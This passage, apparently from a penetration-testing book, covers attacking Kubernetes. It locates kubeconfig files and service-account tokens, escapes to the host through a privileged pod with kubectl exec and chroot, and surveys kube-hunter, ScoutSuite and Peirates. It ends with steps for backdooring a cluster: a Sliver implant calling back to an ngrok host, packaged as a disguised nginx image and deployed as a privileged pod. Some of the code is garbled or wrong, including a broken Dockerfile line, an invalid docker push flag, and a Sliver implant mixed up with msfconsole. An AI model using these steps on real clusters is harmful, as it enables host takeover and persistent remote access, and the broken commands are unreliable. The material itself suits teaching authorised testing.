Kubernetes

Kubernetes uses tokens, specifically JWT tokens, for authentication between all services and nodes. The way that Kubernetes operates this functionality is to look in several places for the KUBECONFIG. The default location for kubeconfig is:

$HOME/.kube/config

In which multiple keys with multiple configurations could be used, instead of this, you can also have multiple configuration files loaded into the KUBECONFIG environment variable. This is where tools like kubeadm look for relevant configurations:

export
KUBECONFIG=/home/<user>/.kube/config:/home/<user>/.kube/anotherconfig/
config:/home/<user>/.kube/yetanother/config

In addition, on the Kubelet, you can also find a series of authentication files. The location of the files is as follows:

/var/run/secrets/kubernetes.io/<user or role>/{token,namespace,ca.crt}

• The token contains the access token.

• The namespace contains the container namespace.

• Ca.crt is the CA Certificate file validating the CA chain; the CA is in the Kubernetes control plane.

There are three config files referenced. With these three files, you can construct a valid login.

Privileged Pods

Containers and pods can run with more privileges than normal. The privileged pods can actually access critical sections of the host. For example, if you have a pod running on a worker node in a management environment like EKS, you will not have access to the host in a typical configuration. You could inject your SSH keypair into the host, but for argument's sake, or for an attacker's perspective, you have no access to the host. One of the options you could have is to create a privilege pod with specific options that allow the pod to be in a privileged role. Privilege pods have the ability to perform actions typically not available in a container. For example, it can mount the root filesystem of the host as a directory in the container. The scenario for attacking a Kubernetes environment in this manner is as follows:

Have a valid mechanism to log in and push containers into Kubernetes and create a PodSpec found at https://l.adaptsec.com/3bn1qPo.

This will run a very small container with running busy box with the following very specific areas of configuration:

securityContext:
privileged: true
volumeMounts:
- name: host-root-volume
mountPath: /host
readOnly: true

This would instruct the cluster to run a privileged pod with a volume mount of host to /host. This will then allow us to read more privilege actions on the disk. To execute a shell, you need to run "sh" on the host as follows:

kubectl exec -ti privileged-<random> chroot /host
kubectl exec -ti privileged-<random> /bin/sh

You are now on the host with a chroot /host mount.

Vulnerability Hunting

Aqua Security has released a tool to help quickly assess and understand vulnerabilities in a Kubernetes cluster. While most of the defaults in Kubernetes are fairly secure from a default configuration standpoint, mistakes can be made, and systems have been long living. You could have Kubernetes clusters that still don't have RBAC and/or expose a non-HTTPS endpoint for configuration as examples. These are common issues to very early Kubernetes clusters. To assess the health of Kubernetes, they have created an open- source vulnerability scanner that is simple in nature. It is not designed to be all encompassing, but instead be a simple health check. The tool is called kube-hunter; it can be run standalone, as a docker container, or even deployed as a Kubernetes pod. You may want to look at the environment from the outside on your attacker desktop or push the container into the environment and look at the health of the system from within the Kubernetes cluster. Running from within the cluster will allow you to look at the configuration of the cluster as an attacker would running from a pod. It is a naturally good vantage point.

If you remember that ScoutSuite was used to look at generic cloud environments like AWS, Azure, and GCP, it can also look at Kubernetes. ScoutSuite gives us the ability to look closely at what the Cluster's configuration is and provide recommendations.

Compromising a Kubernetes environment is possible with just the kubeadm and a great understanding of the system. Peirates is a tool that allows for compromise of the system without this requirement. Many of the attacks have been scripted in the tool to afford a tester the capability to assess the security of Kubernetes without having to have a full working knowledge of all the nuances of Kubernetes's kubeadm tool. As it is designed for assessment, Peirates is a smaller binary that is not kubeadm, compiled in Go, and very portable. It can help gain shells on worker nodes, grab service, and do so much more. It was created by the team over at Inguardians to perform red team assessments on this platform.

Backdoors

Here are the steps required to backdoor a Kubernetes cluster.

1

Create payload

Create our evil payload using Sliver, provided we are able to use something like ngrok or a redirection tool point to that:

sliver> generate --http abc123.ngrok.io --os linux

2

Create Dockefile (or container packaging application)

Create a Dockerfile or use some other container packaging application to package our container:

Y /container/nginx /usr/bin/nginx 
CMD ["/usr/bin/nginx"] 

3

Push the container into a repository

 Build: docker build –t ecr-account-name.ecr.amazonaws.com/ownedit

Push to a registry, in this case ECR: docker push –t ecr-account-name.ecr.amazonaws.com/ownedit

Now that we have our containers in a registry, we can move to the next phase. Remember, msfconsole must be listening.

The following YAML file is a snippet example of what we would need to have a pod and if we can optionally have one that has "privileges". What will privileges allow us to do? Privileges allow us to mount the host node filesystem, network, and process into our pods. We can escape a container with a privileged pod, and this will be an added benefit to exploit a node.

apiVersion: v1
kind: Pod
metadata:
    name: nginx-frontend
    namespace: default
spec:
    containers:
    - name: nginx-frontend
        image: mosesrenegade/nginx-backdoor
        securityContext:
            privileged: true
            allowPrivilegeEscalation: true